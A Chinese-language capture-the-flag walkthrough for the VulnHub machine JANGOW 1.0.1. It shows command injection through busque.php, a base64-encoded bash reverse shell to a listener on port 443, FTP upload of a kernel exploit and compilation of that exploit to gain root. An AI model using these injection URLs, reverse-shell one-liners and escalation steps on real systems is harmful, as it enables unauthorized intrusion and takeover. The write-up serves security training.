一、前言
主要利用方式:web服务入参可命令执行(RCE)+反弹shell+ubuntu低版本提权漏洞
二、靶机信息
靶场: vulnhub.com
靶机名称:JANGOW: 1.0.1
难度: 简单
发布时间: 2021 年 11月04日
下载地址:https://www.vulnhub.com/entry/jangow-101,754/
备注:坑1、反弹shell,普通bash反弹还不行,必须要用base64编码绕过
坑2、反弹shell,必须要443端口反弹
坑3、 ubuntu本地提权,上传利用文件时,必须要通过ftp,不能通过80端口
坑4、突破边界的反弹shell,没权执行gcc,还需要切换用户方可执行编译
三、虚拟机配置
VirtualBox、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配、USB:1.0
四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l
2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.17
└─$ sudo nmap -p22,80 -sV -A 10.0.2.17
3、常规80web端口访问,及路径扫描
└─$ dirsearch -u 10.0.2.17
http://10.0.2.17/
http://10.0.2.17/site/
http://10.0.2.17/.backup
4、.backup文件中有账号密码(jangow01/abygurl69),尝试登录ftp,也只有ftp可以登录了,但并未发现有啥有用的信息。
5、web服务中有一个路径,在继续深入扫描,发现存在wordpress,但经过尝试并未发现有用信息,相反和前面的site/网站基本一样
└─$ dirsearch -u 10.0.2.17/site/
http://10.0.2.17/site/wordpress/
6、web服务中浏览网页的时候,发现一个异常页面
经过尝试,buscar可以解析id等命令
http://10.0.2.17/site/busque.php?buscar=
http://10.0.2.17/site/busque.php?buscar=id
http://10.0.2.17/site/busque.php?buscar=cat%20/etc/passwd
五、漏洞利用(突破边界)
7、web服务入参可执行系统命令,哪既可以转变为反弹shell即可
通过尝试,直接通过bash无法反弹shell
10.0.2.17/site/busque.php?buscar=bash -i >& /dev/tcp/10.0.2.7/9999 0>&1
8、使用第二种方法,base64绕过,但贼难受的是此机器只允许43端口对外
将bash -i &>/dev/tcp/10.0.2.7/443 <&1进行base64编码
└─$ echo "bash -i &>/dev/tcp/10.0.2.7/443 <&1" | base64
再将编码好的,前面结合echo ,后面结合bese64解码以及跟上bash命令,丢在入参处
echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjAuMi43LzQ0MyA8JjEK | base64 -d | bash
http://10.0.2.17/site/busque.php?buscar=echo%20YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjAuMi43LzQ0MyA8JjEK%20|%20base64%20-d%20|%20bash
启动端口监听
└─$ nc -lnvp 443
9、浏览器访问构造好的url,nc监控到反弹shell,连交互式pty都省了,进home目录,拿到第一个flag
ww-data@jangow01:/var/www/html/site$ ls -la
www-data@jangow01:/var/www/html/site$ cd /home
www-data@jangow01:/home$ cd jangow01
www-data@jangow01:/home/jangow01$ cat user.txt
d41d8cd98f00b204e9800998ecf8427e
六、提权
10、查看sudo及suid权限文件,皆无果
11、查看本地系统版本
www-data@jangow01:/home/jangow01$ uname -a
www-data@jangow01:/home/jangow01$ lsb_release -a
12、查询Ubuntu16.04.1的漏洞
└─$ searchsploit ubuntu 16.04
除了常规的45010.c文件,其他还有40489.txt是利用ipv6的漏洞,尝试了一会,没找到ipv6的路径,遂放弃
13、下载45010.c文件,本地开启服务,靶机下载,
└─$ searchsploit -m linux/local/45010.c
本地开启web服务后,靶机访问kali的的web服务显示一直在链接,但kali并无访问记录
从21端口进行上传
ftp> cd /tmp
ftp> put 45010.c
ftp> dir
-rw------- 1 1000 1000 13176 Jul 26 21:10 45010.c
14、gcc编译45010.c文件,但在编译的时候,发现没有权限,包括cat等命令都没有权限
15、升级交互式tty,再切换用户到jangow01
16、cd到tmp目录,gcc编译45010的文件,然后赋权777权限,再运行,获取root权限,查看flag
jangow01@jangow01:/tmp$ gcc 45010.c -o 45010
jangow01@jangow01:/tmp$ chmod 777 45010
jangow01@jangow01:/tmp$ ./45010
id
uid=0(root) gid=0(root) grupos=0(root),1000(desafio02)